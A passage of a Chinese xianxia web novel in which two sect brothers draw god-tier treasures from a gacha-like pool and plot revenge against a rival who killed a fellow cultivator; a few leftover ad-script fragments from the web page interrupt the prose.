全性塔的服务没得说,其他楼层还有雅座包间、戏园乐坊,不过凭塔印才能入内,塔印愈多,服务愈好。某些散修拼搏个一年半载,挣到一枚塔印,立即进塔胡吃海塞一日,周而复始。 另一名侍从过来,向他们行礼道:“二位仙长,请随我来。在下同二位再确认一次:今日抽取的是入门灵池,可有谬误?” 白翎道:“没错,麻烦你带路啦。” 全性塔分不同的卡池,也算老祖当年的妙举。 毕竟奖品包罗万象,上至大乘期修士准备渡劫的法宝,下至练气期小虾米通灵脉的辅助药剂,混一个池子里太不人道了。 白翎今天带裴响来,自然先去入门灵池。练气期和筑基期的奖品只会在这个池里出现,更高层级的则不会,以免抽到也没用。 至于全修为通用的功法兵器之类,没有此种限制,能否抽到,全看他们的运气。 二人来到塔心的莲塘,随侍从踏上莲花座,升入高空。距上次来这已经过去了两百年,白翎见到一些新景观,比裴响还好奇。 片刻后,入门灵池已至。重新踏上地面,目之所及乃是一片汪洋的底部。 灵池灵池,是字面意义上的池子——环绕着通行的天井,四面皆是碧荧灵泉。万顷玉涛中,隐约可见光华点点,似璀璨星空。那些看得见摸不着的瑰宝,正是可供抽取的奖品。 白翎见裴响一直没什么波澜的脸上,终于掠过一丝惊艳,总算找回了身为师兄的尊严,打算教他怎么用塔印。 然而恰在此时,一道熟悉的嗓音传来: “我师妹昨日在此抽出仙级筑基保命散,只遇见过尔等。昨夜她便被魔修伏击,保命散不翼而飞。若说巧合而已,为何还能继续凑巧:贵派的五代弟子前天筑基时走火入魔,今日竟化险为夷——除了仙级保命散,还有何物有如此功效?” 天井对面,漱玉真人的水红衣裙宛然如昨。 但在她身前,铺了一卷玉席。一具残破的尸体安置其上,被斩下的头颅死不瞑目,正对着白翎。 白翎认得死者。 是在裴家时,兴冲冲请缨驱邪的女修。 他下意识往那边走去,不料被驾鹤一脉挡住的修士说话了,甫一开口,便令白翎如坠冰窟。 14.十四、非酋 强烈的痛感再次袭来,猛地窜过四肢百骸。 白翎一皱眉,微微躬身,抱住双臂。万幸,手没有断,他还好端端站着,而不是被扭曲成一团,塞进狭小的石桶。 只是幻觉。 白翎微微喘息,听此人说道:“漱玉真人的意思是,我脉串通魔修、截杀你师妹?好笑,全天下就她抽出的那瓶保命散能用吗,我们问鼎一脉千年基业,灵丹妙药多得是!” 裴响顷刻发觉了白翎的反常,听见“问鼎一脉”,猜到是何缘故。他将手掌贴在白翎的背心,发动尚不娴熟的灵力,注入他的四肢。 暖意袭来,汩汩涌入灵脉。虽然师弟和他保持距离,手臂伸得很直,但白翎骤然吸入一大口空气,活动筋骨,向他笑了笑。 裴响蹙眉道:“没事么?” “总要面对的,有事又怎样。来,我带你去认人。” 白翎绕过半圈天井,携师弟出现在对峙的两脉弟子面前。漱玉真人见他,尚未颔首以礼,她身后的几个晚辈已脱口而出:“白仙长!” 白翎的目光落在玉席尸首上,收敛神色道:“节哀。” 漱玉真人没有说话,行礼致谢。她冷冷转向对面,白翎与她一同看去,果然,是他此生最不想看见的几张脸。 为首的是一名元婴期修士,姓李名德,腰间挂一柄华光粲然的剑胆。 他作为问鼎一脉最优秀的四代弟子,曾经与长辈们一起虐打白翎,辱骂间难掩妒忌:如此废物都能拜入展月门下,他却不行。 仗着诸葛悟不会主动向晚辈出手,李德从不掩饰自己的剑胆从何而来。虽然他没蠢到四处宣扬白翎的惨状,但是曾经属于白翎的剑胆落到他手里、问鼎三代尽数伏诛,道场仙友们很清楚发生了什么。 不知为何,李德至今没将剑胆锻造成剑。不过,观其神色便知,他对展月一脉的恨意从未消减。只等道会开场,不知又有何等报复,等着白翎二人。 此刻李德看见白翎,眼底掠过一丝喜色,不过并非出于好意,而是见到猎物送上门来。 “我当是哪方仙友来凑热闹,原来是以前的手下败将。白翎,你不好好在折雨洞天看家,跑塔里来干什么?” 李德看向裴响,道,“这位就是你们展月一脉新收的小师弟吧?可惜了先天剑骨,生在世代凡家,终究走不长远!哈哈哈哈!” 他放肆大笑,白翎不作理会,问漱玉真人:“真人,你师妹是独自下山的吗?在哪里碰上了魔修?” “白师弟,正是这两天的事。窈娘育灵根在即,刚好抽出仙级筑基保命散,所以同师侄前往霁青商行,采买用品。没想到在回洞府路上,被魔修夺宝杀人。魔修的目标非常明确,杀她后打破芥子袋,拿了保命散便走。” 漱玉真人握紧剑柄,话是对白翎说的,双目却一眼不错地盯着李德。 白翎心下叹息,没想到他们才分开短短两天,竟然发生了如此惨案。而且,窈娘遇害的前情几乎和他当年一模一样:都是在抽取法宝后,碰上了问鼎一脉的弟子,之后便遭遇不测了。 李德不屑地说:“少在这搬弄是非。我是遇到过你师妹不假,但她出塔时碰上了别家弟子也说不定。更别提魔修了,指不定多少双眼睛在暗中盯着我们呢,谁让你师妹乱跑?我李德清清白白!” “那你家弟子筑基成功是何缘故?本来都走火入魔的人,生生救了回来!全性塔上百年没出神级法宝了,除了我师妹的仙级保命散,还有什么能做到!” 饶是平静如漱玉真人,此时亦显出情绪波动。 李德却一副无赖神色,嗤笑道:“你是管我家库房的?你怎知道我们没有更好的保命散?” 白翎看在眼里,意识到情况不妙。 问鼎一脉是夺宝惯犯,但上有道场昭雪司坐镇,他们不敢明着违反律例。所以当修士外出时、或者道会开场后,他们才会作恶。 而依照漱玉真人所言,问鼎一脉的弟子走火入魔在前夜,是起因。 如此十万火急之际,适逢窈娘抽出了他们所需之物,又不能在道场里对她动手。 于是,就在窈娘去了趟山下商行的功夫,魔修劫走了她的保命散;而问鼎一脉的弟子圆满育成灵根,迈入筑基后期。 此事的因果极易看出,但问题出在没有证据。 白翎陷入思索,漱玉真人则道:“你脉若真有能用的保命散,早就用了,岂会拖到今日才让弟子完功后期?走火入魔何等凶险,哪个师门会让弟子捱这么久!” “当然是因为宝库塞得太满,找东西需要时间啊。原本备的保命散不够用,我们又不能未卜先知。你家师妹死了,节哀顺变,行了吧?但我还要为师侄育出上上品灵根道贺去呢,休要再做纠缠!” 李德不耐烦地一挥手,带领门下弟子,撞开驾鹤一脉,扬长而去。驾鹤一脉的弟子们阻拦不及,待他们经过,陈尸的玉席上甚至出现了一个脚印。 “大师姐,他们欺人太甚!”一个师弟刚护着窈娘的尸首,此时猛砸地面一拳,哽咽道,“怪我没用,魔修突袭时,完全没反应过来……窈娘师妹的护身符被击碎,还招架了几招,我……我却连魔修的脸都没看清……” 漱玉真人沉默不语,只将手搭在他肩上。另一名师妹没忍住,也背过身去抹泪。 漱玉真人缓缓道:“不怪你们,怪我。师尊闭关数百载,由我赐你们护身符,是我修为不足,画符效力有限。” 白翎本想说点什么,可漱玉真人转向他道:“抱歉,让二位目睹惨状。适才有犬乱吠,妨碍我恭贺裴师弟入门了。” 裴响行了一礼,亦道:“请节哀。” “你是与我脉有缘无分的弟子,我观你不俗,今日提点一二。”漱玉真人将窈娘的尸骨收好,说,“即便有塔印在手,也待道会结束再用。至少,能保住你的性命。” 她面色阴沉,示意晚辈们离去。 白翎问:“真人有何打算?” 红裙女子携剑上莲台,下行之前,沉声说道:“一切恩怨,待道会血债血偿!” 整片入门灵池只剩白翎与裴响二人。隐隐作痛的手脚终于消停,白翎气也顺了,只是表情仍未放松。 裴响问:“他们说的上上品灵根,筑基后期,什么意思?” “哦,忘记告诉你了。”白翎回神道,“俗话说得好:‘练气期通灵脉,筑基期育灵根。金丹期结金丹,元婴期凝元婴。’没成功算前期,成功了就是后期。像你还没通灵脉,所以是练气前期。至于上上品嘛,就是最好的,问鼎一脉确实出了个天才。” “你呢?”裴响继续问,“你是筑基前期,还是后期。” “……我们快来抽宝贝吧!”白翎端出笑容,果断走向灵池。 裴响道:“前期。” 白翎回眸横他一眼,却无力反驳。 没错,三百岁的筑基前期,霁青道场人尽皆知。白翎本想糊弄过去,结果被揭老底,没好气地催道:“快点来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抽!” “不听那位真人的?” 裴响见他拍动结界阻隔的灵泉,碧波一阵晃荡,从芥子袋取出塔印。 白翎道:“你说漱玉啊?她是出于好心,不过我们另有谋划,还是先增强装备吧。话说回来,敌人的敌人是朋友……不对,我们和驾鹤一脉早就化敌为友了。问鼎家的脑瘫行凶,不是正好让我们亲上加亲嘛?” 他弯起唇角,显然又动了心思。裴响本欲问话,被白翎伸手一捞,勾到灵泉跟前。 白翎问:“你想一枚一枚抽,还是十枚一起抽?我觉得十连比较爽,而且运气会好点。虽然,大概,是某种错觉。” 裴响道:“尽快吧。” “好!那就十连,节目效果绝佳。”白翎哼哼着不知名小曲儿,抓着他手,将十枚塔印拢在一处,对其画了道符。 不等面色泛红的裴响让他松手,灵泉开始漾动。水深处星光大盛,十团颜色各异的光芒亮起,环绕着灵池疾驰。 平底起风,吹得二人衣袍翻飞。白翎一缩肩膀,两只手都薅住裴响,惊呼道:“两蓝一紫!我看到了,两个灵级一个仙级,开场不错啊!” 裴响:“什么?” 他倒是站得稳,可是师兄和八爪鱼一样缠上来,等狂风停息、流星浮出水面,又把他丢在原地,冲向流星中放紫光的那颗。 一团华晕冉冉升起,滴着晶莹灵泉,落入白翎掌心。 他像一本活体修真界百科全书,当即认道:“玄武金刚罩,好东西啊!是一个千年王八妖兵解后的遗物,阿响能猜到吧?是他的乌龟壳。虽然最多被元婴期的打几下,但是水淹不透、火烤不熟,关键时刻能保命的。” 他回到裴响面前,把法宝塞进他的芥子袋。 其余宝物自动靠近,其中两枚蓝光熠熠,是灵级丹药,其他发白光的则是凡级,对修炼起点锦上添花的作用。 白翎不挑,顺带教育裴响,新手期多攒资源,方便以后开荒。 裴响听着他稀奇古怪的话,眉峰微皱,不过可以意会。准备抽第二发十连了,他站着不动,白翎奇道:“你抽呀!” 裴响才知道他不会抓着自己的手了,师兄只教一遍。 他道:“哦。” 师弟板着脸依葫芦画瓢,白翎却一门心思扑在抽卡结果上。这回只有一颗蓝光流星,算是全性塔常态。仙级法宝也不是随处可见之物,裴响已经算开门红了。 不过他接下来两发十连,依然不见紫光。 甚至到第四发的时候,连蓝光都没了。白花花一片,掺着几枚灵石。 “完蛋,也是个非酋……”白翎不小心吐槽出口,对上裴响视线,立刻转成微笑,掏出自己那五十枚塔印,道,“没事,师兄这儿还有。我就不信邪了,一百抽还出不了一部功法?灵级的也行啊!” 他双手叉腰,心里把“阿弥陀佛”、“耶稣在上”、“展月老祖你还活着就吱一声”全念了一遍。道教拜谁他忘了,反正没起作用的话全是封建迷信。 裴响却低声道:“不用花你的。” 白翎:“你说什么?” 然而小师弟已经画完符文,将最后十枚塔印送入灵泉。 白翎正想揪他耳朵、治治这厮的叛逆,突然地面震动,天井顶端响起钟声。 两人齐齐抬头,古钟长鸣。与此同时,周遭的灵泉如同煮沸,所有星光黯淡下去。 一颗耀眼的金星浮现,牵动整池碧水,迤逦破浪而来。 15.十五、欧皇 一团饱满浑圆的光晕最终停住,金灿灿流光溢彩。 白翎喃喃道:“出现了……神级宝物……” 话音未落,金光一分为二,迸发出数颗紫色伴星。 白翎震惊地说:“十连双金?!” 裴响听着他这些奇怪但朗朗上口的话,若有所感,向前伸手。浓郁的灵气如瀑布般流泻,包裹着两件神级法宝,向他逼近。 其中一团金光快速缩小,化为豆大的金珠,倏地窜进裴响额心。他下意识躲闪,却没躲掉,扶着额头不语。 白翎关切地问:“感觉怎样?这种是功法,你应该感应到它的名字了。” “《太上迢迢密文》……”裴响蹙眉道,“不过只有开篇。” “神级功法都这样,修为上去了才能看到全文。不管怎样你总算有书念啦,快看另一金是什么?” 裴响伸手向另一团金光,不料它仿佛开了灵智,倏地溜走。走也没走远,停在不远不近处,好像想让裴响追它玩。 白翎看着眼前一幕,竟与久远的记忆重叠。 他出神道:“我知道是什么了……阿响,你也抽到了一柄剑胆。” 被他道破真身,金光不再嬉戏,缓缓拉长成笔直纤薄的剑状。 裴响此次抬手,金光应召而来,露出原本面目:确实是一柄灵气四溢、光可鉴人的剑胆,其上未有刻字,映出二人的一抹面容。地下明晃晃一道剑影,锋芒毕露。 裴响垂眸不语,细细地感受剑身。 白翎压下怅惘,笑道:“你好淡定啊,十枚塔印出两个神级,是我已经飞升了。唉,年轻人不识货,等你也三百来岁,就会在这嚎啕大哭祖宗显灵啦……” 下一刻,剑胆被递到面前。裴响淡淡道:“我不要,送你。” 白翎:“啊?” 他不由得愣住,直到裴响耐心告罄,强装的镇定破功,微微恼道:“都要去向问鼎一脉寻仇了,好物自然该留给更能发挥其作用之人。你虽散漫,毕竟比我高一个境界,我……你到底要不要?” 他越说,脸转得越开,直到最后一句,才向白翎飞快地投来一瞥。 然而素来机敏的师兄此刻呆若木鸡,圆睁着眼睛望他。以前不断开合、在裴响耳边喋喋不休的唇瓣,半天没飘出一句回音。 某人不堪忍受,剑胆直接扔过来,晃花了白翎的视野。 白翎下意识接住,被寒凉的手感拉回神智,隐约意识到了什么。他刚才一刹那的出神,竟然被师弟捕捉到了吗? 他喃喃道:“阿响……你的脸现在比拜日教的花纹还红,你知道么?” “此地灵气太浓,我不舒服罢了。与你何干?” 裴响撂下话,转身去收拾其他法宝。不论紫的蓝的,全被他一股脑塞进芥子袋。直到剩下一颗白的,他骤然意识到自己的慌乱太明显,动作顿住。 白翎心道,我没说与我有关啊? 他将师弟的行为看在眼里,发现他一阵猛塞之后,硬是捏着一颗平平无奇的灵石、翻来覆去地看,佯装无事发生。 白翎笑出了声。 裴响顿时演不下去了,把灵石砸了过来,转身要下全性塔。白翎将身一闪,直接扑了过去,吊在他背上。 裴响被他扑得一晃,道:“你、你放开!” “不放。你太别扭了,能不能好好说话?”白翎仗着比他矮些,硬是没沾地,趴在师弟脸旁边问,“阿响送我剑胆,是在宽慰我吗?” 裴响一惊,更憋着气要把他甩下来。 白翎连忙哄道:“喂,喂!听我说完嘛!大少爷就是大少爷啊,面皮比纸还薄。孝敬师兄有什么丢脸的?你那点心思,谁看不出来,怕我睹物思情伤了心,对不对?” 裴响怎么也挣不开他,还能感到师兄的气息时不时吹到耳朵,烫得要命。他压着声音道:“你要不要脸,这是在外面,随时有人上来!” “上来就上来呗,我们兄弟和睦,让他们羡慕去。”白翎说着说着乐了,深吸口气,道,“你身上真的很好闻哎,到底是什么香味?” 裴响对如此登徒子言行忍无可忍,反手薅着他衣领往外拔。白翎噎得慌,不甘心地撒了手,被师弟拎到面前。 白翎提议道:“咳咳……我们换个没人的地方继续?” 裴响一把将他丢到灵池上。 有阻隔灵泉的结界在,白翎好像摔上蹦床似的,痛倒不痛。可他完全没使力,被漾动的水波弹回来,又面对面抱了裴响满怀。 这次撞得有点重了,白翎的脑门磕上裴响下巴,两人同时发出闷哼,各自向两边倒。 裴响后退几步,勉强站稳。白翎却被他弹回了灵池,捂着头滑落在地。 白翎双手抱头,发出倒抽气的嘶声。 他好歹是筑基期修士,“前”字省略,不至于被磕磕碰碰伤到。但他嘴唇直颤,从手与额发的间隙,瞄到裴响渐渐变得内疚的神情。 坏水又在肚子里翻滚,白翎索性半咬下唇,果然一下就把单纯善良的小师弟勾来了。裴响单屈膝跪下,试探着握住他手腕,轻轻分开。 白翎笑眯眯地说:“我没事哦。” 裴响:“……” 本就处在崩溃边缘的师弟被他一脚踹过去了,霍然起立。 白翎哈哈大笑,高声道:“剑胆我用不了,真的!阿响你别直接往下跳啊,等等莲台升上来……不是,我错了,你听我说完。剑胆是分属性的!” 听见修道相关,被他气到眼红的裴响方才回头,恨恨地盯着他。 白翎拽着他袖子,迅速道:“修士练气成功后,灵脉就分属性啦,金木水火土,加上风雷和三宝,总共七种。你的剑胆给我,装备主词条不对,实在没用呀。” “没用就丢掉。”裴响还在置气,毫不犹豫地说。 白翎道:“神级兵器说丢就丢?你看见驾鹤一脉的师妹了吗,她可是为仙级保命散死的。神级剑胆,引发的腥风血雨只会更多,不会更少。” 裴响沉默片刻,扭头不看他。 白翎试着松了手,裴响“唰”地抽回袖子,却没有走。 白翎说:“虽然你还不能确定属性,但万一是金呢?阿响,师兄谢谢你送我剑胆。不过,我自当去取回属于我的,正是李德腰上那柄,你看见了吗?” “……他还没进行锻造。”裴响终于又原谅了他,回头冷冷地问,“为什么?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “我也觉得奇怪。不过,我大概能猜到一点。走吧,我们该去组建同盟了,李德可是元婴前期,从他手里抢东西不容易,要动动脑子。” 白翎笑眼弯弯,经过裴响身边时,却被他拉住衣角。 裴响问:“你的塔印不用?” “啊……我老倒霉蛋了。”白翎被他一说,抽卡之手蠢蠢欲动。最终,他没能抵挡诱惑,决定丢一发十连试水,其他的都留作筹码。 “出金出金出金……啊啊啊就一个紫!好吧紫的也行。” 白衣青年搓手祈祷半晌,一眼看到结果,不服地眯起眼睛。 不过他来者不拒,将新得的法宝拈到阳光下观察,道:“群魔饵?听说能吸引一定范围内所有的邪魔妖物……仙级的范围该多大啊?算了,丢仓库吃灰去吧。我们走,阿响。” — 驾鹤一脉的洞府坐落于折雨洞天隔壁,同样占地极广。 不过与山林抱湖的折雨洞天不同,其大部分是地下溶洞,道道天光如剑戟直刺地底,映照着飞瀑流泉。 白翎头回来这个水帘洞似的地方,险些没找到入口。幸好碰上一名弟子,像在专门等他俩似的,带他们前往漱玉真人的静修处。 漱玉真人不喜幽暗,择了一片地上水泽修炼。 明镜般的浅滩中心,坐落着高架竹屋,几名与她亲厚的晚辈皆住在此,遥遥看见白翎,立刻奔进去呼告。 不消片刻,红裙女修的身影出现,携弟子们迎接二人。 显然,她早料到白翎和裴响会来,并且对他们的来意了若指掌。几人进堂上就座时,茶水提前沏好,贴着灵符留香。 白翎感叹道:“我应该不用说什么了,真人。” 漱玉真人头簪白花,围坐在她案旁的弟子们,亦个个戴孝。女修的目光飘过堂上神龛,香灰簌簌而落,窈娘的画像挂在其中。 她开门见山,说:“请二位师弟与我协力,杀了李德。” 白翎也全无犹豫,道:“正合我意。” 漱玉真人说:“你二百年前被抢去的剑胆,正在李德身上。事成之后,我只要他项上人头。除此之外,你随意处置。” 白翎双手拢着茶取暖,道:“我也只要剑胆,其他的再说吧。真人有什么谋划吗?” “有倒是有,不过须请二位师弟涉险。”漱玉真人让后辈打开芥子袋,取出一溜法宝,说,“李德对展月一脉的恨意无人不知,道会开场后,必定会追杀二位。我想借你们瓮中捉鳖。” 白翎明白,她和师兄的意思一样,都要自己和裴响当诱饵。眼前的法宝也净是护体的,显然怕打起来后,他们被殃及池鱼。 白翎说:“法宝就不用了,多谢真人。我师兄把裴家用过的铃铛给了我,要是打不过,他会来帮忙的。” “诛杀李德,是为了告慰窈娘的在天之灵。不论诸葛道长出手与否,我只希望,由我亲手斩下李德的头颅。二位师弟,请助我一臂之力。” 漱玉真人将“衔烛”置于膝上,虽面色冷静,但剑在鞘中低吟,显然五内翻涌,意气难平。 “好,一切皆如真人所愿。”白翎微微笑道,“不过只杀李德一个,够么?” 16.十六、商行 此言一出,屋内陷入了片刻安静。 漱玉真人神色不变,只是眉心的花钿一闪,眼底似有暗涌。她身边的弟子们个个呆住,半晌,群情激愤地叫起好来。 “白仙长,你说得对!问鼎一脉欺凌过不少仙友,只是不曾被抓住把柄。他们在道会秘境残害过的、也不止你一个,要不是他们的手段太下作,岂会人人自危,敢怒不敢言?” “大师姐,我们要吸取白仙长的前车之鉴啊。问鼎一脉代代针对他们,从梦微道君到渡尘真人,再到白仙长裴师弟,我们光杀李德,永无宁日!” “即便不考虑别的,也要为窈娘平恨……她连全尸都没有。白仙长,你想怎么做?” 后生们全部挤上前来,等着白翎发话。 漱玉真人亦手搭剑鞘,指尖次第叩动,道:“愿闻高见。” 白翎挑了下眉梢,活络心思。他回头去看裴响,见斜后方的师弟坐姿端正,听他要算计别人,也只是神情冷冷,一副看他又吹什么坏泡儿的模样。 白翎摸了摸鼻尖,转回来笑道:“哎呀,杀他一个不够,不是说要灭他满门,而是让他们内斗,保证比我们下手狠得多。真人,我看他佩着我的剑胆两百年,为什么一直不锻造?” “原来白师弟有所不知。”漱玉真人答道,“神级剑胆无法凭人力锻造,必须去天然冶金地。然而世间最好的冶金地,恰在秘境中的火神冢,妖邪肆虐,极难靠近。两百年前,李德在师门众星捧月,本来可以去锻剑。但他时运不济,魔修暴动,把前往火神冢的路堵死了。道场仙友鏖战三个月,方才重新开道,然而天机轮转,秘境关闭,他终没去成。” “哦……所以我这次不抢回剑胆的话,他就要锻剑赐名了对吧?好险好险。”白翎拍拍胸口,笑眯眯地问,“不过听真人刚才的话,说他‘两百年前在师门众星捧月’,现下如何呢?” “白师弟问到点子上了。来,徐郎,把你打听到的说与仙长听。” 漱玉真人向旁示意,一名师弟跪行两步出列,对白翎行礼。 他道:“前辈,你是听说了什么吗?李德以前的天赋确实不错,可是在元婴前期蹉跎了整整两百年,已经不得他师祖的青睐了。他作为四代之首,有师弟妹各一名,都已经赶上他的修为。他师弟还新收了一名叫唐棠的弟子,正是抢窈娘的保命散后、育成上上品灵根的那个,俨然是师门新星。” 上上品是最佳品质,白翎也不免在心底叹服。 可是,不论劫杀窈娘是否属唐棠的意思,此名五代弟子得了好处,是客观下场。她已经因果加身,牵涉在全局之中了。 被称为徐郎的师弟犹有好奇,不禁追问:“白仙长有特殊的情报渠道吗?我花费好多人脉,才打听到一星半点,仙长竟能一针见血。” “啊?我只是见过他两百年前的得意样儿罢了……现在一脸过气的衰相,看得我想笑。” 白翎一抿唇,眼里闪着狡黠的光。他问:“所以李德失宠了,大家都围着唐棠?李德肯定不爽吧,估计也没人陪他冒险、去火什么冢锻造剑胆了。诶,唐棠什么属性呀?” 徐郎道:“是金属性的,她也修剑,剑修基本都是金属性。” 白翎灵光一现,霎时想到了破题之术。 他两眼弯弯,起身搭着裴响肩头,说:“诸位等我好消息吧。保证不出三日,某位姓李的大哥就要走投无路,反过来求我们咯。告辞!” — 离了驾鹤一脉的洞府,白翎得到一枚玉牌,可以随时和漱玉真人通信,分享最新进展。 他一路双手抱臂,枕着后脑,浪里浪荡地溜达,却不是回折雨洞天。终于,裴响忍不住道:“我们去哪儿?” “当然是去吊姓李的傻鸟啦。”白翎一脸神秘的微笑,冲他勾勾手指,道,“想知道师兄的计谋吗?你过来点,我就告诉你。天机不可泄露啊。” 裴响:“……” 听见白翎说脏话,裴响又露出不赞同的眼神。不过白翎骂的是李德,所以并未受到批评。 裴响勉强靠近他半步,还没迈过去,已被白翎拽着发带一扯。 两人头靠着头,白翎笑嘻嘻道:“我和李德都是三宝属性,所以他能用我的剑胆。可是唐棠和你抽到的剑胆一样,都是金属性。” 裴响问:“三宝……是什么?” “精气神呀。所以我不适合练剑,剑修哪有这属性的?医修乐修还差不多。李德修为上不去,估计也有这方面原因。”白翎一摆手,说,“反正他成了师门弃子,正好给我发挥空间。不过呢,可能要借你的剑胆一用。你愿意吗?” 裴响面无表情道:“反正也是你不要的东西,随你。” “真的假的,让我拿去做局也行啊?” 那可是师弟的神级剑胆,即便到了万不得已,白翎也不想用来赌。 可裴响不理他,只垂着眼试图扯回发带。细长的朱红缎子,绣着银色云纹,缠在他冷白指节间。 白翎探头去问:“你是不是不知道神级法宝到底意味着什么呀,师弟?” 裴响瞪他一眼,专心较劲儿。 白翎松了口气,笑道:“果然,你……” 裴响说:“知道。” 白翎:“啊?” 裴响冷冷地说:“我知道。” 裴响与他拔河拔了半天,见有修士路过,连忙放下手,脸色更差了。 白翎坚决不信,认定师弟是命太好,不晓得珍惜宝贝。他不爽地丢开发带,一边走去前头,一边嘟囔道:“行,你等着瞧吧。既然你不介意,我可要用你的剑胆来搅局了!” 他们一前一后,始终隔着半丈距离。 山巅积雪渐远,夹道的草木越发葳蕤,不过半个时辰,他们从山腰走到山脚,亦从深秋步入阳春。 从洛东城回折雨洞天时,他二人皆待在诸葛悟的袖子里,并未瞧见沿途风光。 直到此时,裴响才见到霁青山下的景象,是一片繁华不输洛东的城镇。虽无裴家栽培的满城花色,但江河千缕,山城百层,如画卷般。 嘈杂的人声响起,他们黑白两道身影,混入来往的人潮中。因容貌出众,即使没有佩剑,也有散修上前见礼,试图与他们结交。 白翎看着便好说话,因此被搭讪最多。他也不拿乔,对每个散修都称兄道弟,偶尔遇见女修,甚至会主动问好,看得裴响额角直跳,更与他保持距离。 然而白翎带路,不消片刻,景观豁然开朗。一座阔气的门楼拔地而起,正中央的匾额明晃晃、金灿灿,镌刻着朱漆大字:霁青商行。 白翎回头笑道:“师弟,到你的快乐老家咯。” 裴响:“什么?” 下一刻, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 十个侍从鱼贯而出,为首一名老者,向他二人深深鞠躬,道:“贵客光临,敝行有失远迎,望两位大人见谅。请问,哪位是裴公子?” 裴响一怔,见白翎只含笑看热闹,道:“我是。” “见过裴公子。您携带的票折上,有一枚通灵的金镶玉宝珠。只消您踏入商行地界,我等便会收到指令,前来恭候。初次会面,老朽是专门为您理事的掌柜。请问这位大人贵姓?”老者看向白翎,同样客气至极。 “我姓白,一般待在山上。”白翎笑吟吟一指头顶,道,“我们来挂牌寄售法宝,请掌柜安排一下。” “原来如此,请二位仙长随老朽来。” 掌柜的顿时明白了他们身份,再度行礼,示意他们边走边聊。踏过门楼,恢弘殿宇映入眼帘,其掏空大块山体,一半坐落在崖上,一半深嵌于霁青山中。 时值日暮,霞光西罗。万千虹晕汇聚在山岗处,将整座商行映照若玉宇琼楼。 白翎三百年间,只来过两次,是帮闭关的师兄看顾折雨洞天的产业。不过他每次来,都会被眼前美景震撼,发现裴响也注目于远方,不由得滋生了一分骄傲。 裴响收回视线时,就见师兄一直在观察自己。 五官漂亮的青年在夕阳下,通身白衣也染上明艳色彩,柔软蓬松的长发从不绾起,被镀上一抹偏红的光晕,在风中勾着一圈毛茸茸的金边。 白翎与他目光相对,大大方方地笑了下,转头问掌柜道:“我看您面熟,您姓什么呀?” 掌柜答:“老朽姓钱。” “咦,我上次来的时候,招待我的掌柜也姓钱。”白翎灵机一动,问,“你认识钱算盘吗?” 钱掌柜面上绽开条条笑纹,道:“您所说的,正是家父。老朽不才,名叫钱算珠,已接手家父的事务五十余年了。” 白翎面露怅然,笑着点点头。 儿子都七老八十,想必父亲已化为一抔黄土。 前世读过的诗词在此刻回响于脑海,世事漫随流水,算来一梦浮生。山中无年月,岁岁不知春。明明没刻意背过,却忽然击中了他。 裴响的声音蓦地响起。少年人看似冷淡,却对他的情绪变化非常敏感。 他问:“怎么了?” “没什么,只是和他爹有过一面之缘。” 白翎不想再跟裴响念诗,免得被误会成满腹诗书之辈,可他不过是老老实实接受了九年义务制教育而已,成绩还忽上忽下。 钱掌柜却欢喜道:“原来是家父的贵客,老朽有眼不识泰山。不过,待我晚间归家,向家父描述您的仙姿,他定会十分开怀的。” “……诶?” 白翎双眼微睁,短暂地停住了步伐。 下一刻,他也眉开眼笑,发自内心地快活道:“好啊!你就跟他说,以前撬走他大半块好茶饼的家伙又来啦。” 他顺手勾过裴响的肩,倚着师弟,言笑晏晏。 裴响没有挣扎,任他若即若离。刚才短短的霎那,他看见了师兄的神情变化,是这张昳丽面容上从未浮现过的,名为落寞的情绪。 几人来到主楼,迈过门槛,金碧辉煌的大堂一览无余。 白翎习惯性地转头观察师弟,又露出带他来了好地方的得意。不料,少年神色淡然,始终静静地看着他,与他目光相接,才无声地转开去。 17.十七、直钩 白翎不是好色,只是好犯贱。 所以当裴响不反抗时,他便失去了调戏纯情人士的乐子,放开他溜达去别处了。徒留师弟在最后,垂着眸不知想什么。 很快,钱掌柜将他们迎入金卡商户专属雅间。 裴响已经明白了白翎的用意,取出刚抽到的神级金属性剑胆,交给钱掌柜,让他挂售出去,不必标价,只接受以物易物。并且,买家必须用一柄三宝属性的神级剑胆交换。 因为修士们属性不一,获得的兵器未必能对上号,所以在商行经常见挂牌某种属性宝物、要求换另一种属性的交易。不过,钱掌柜说他经营五十年了,还是头回见到卖神级兵器的。 当兵器的品质高到一定程度,修士们便不会出手,死也得当做殉葬品,再不济流传于师门。因此,待钱掌柜为剑胆正式挂牌后,商行大堂炸开了锅。 大堂形似展厅,陈列着无数天材地宝。大部分并非实物,而是术法拟态,悬挂价位牌。 裴响的剑胆一经出售,从天而降,出现在大堂正中央的宝座上。经过八方琉璃窗折射,浩大夕晖集于一点,令剑身大放异彩。 满堂宾客皆惊,消息不胫而走,想必很快能传进问鼎一脉的耳朵里了。 雅间位于二楼临崖处,将整座大堂尽收眼底。 裴响被掌柜等人围在红木书案后,签署各项协议,繁冗的条款拉开直接滚到地。他却事必躬亲,一条条皱眉审视。 白翎则歪在铺了锦垫的飞来椅上,手边放了十余个果盘。他有一搭没一搭地伸手,开盲盒似的捡果子吃。 很好,不愧是霁青商行,排场阵仗皆是一等一的。 霁青城人多眼杂,更别提许多派系专门豢养耳目,时刻报备法宝的打折降价信息,问鼎一脉也不例外。白翎满意地跷着二郎腿,翻阅漱玉真人发来的资讯。 他手中的玉牌上灵光闪烁,只需念动口诀,便有一列列字浮现: “李德,元婴前期,问鼎一脉四代弟子,曾被视作掌门继任者培养。” “唐棠,筑基后期,问鼎一脉五代弟子,李德师侄。” “唐棠的师尊孔安,同元婴前期。此人为李德鞍前马后数百年,终生异心,与李德交恶后全力栽培唐棠,并受到师祖帮扶。四代还有一位元婴前期的师妹宁雪,目前中立。” 白翎将玉牌立在指尖旋转,挥散传信。 果然,这种门风不正的派系,内部早已千疮百孔。时至今日,他只需借力打力,便能让整个问鼎一脉分崩离析。 不过该怎样煽风点火呢? 此时没有师弟盯着,白翎含了口清甜的果酿,面露微笑。他走出的第一步,是孤立李德。 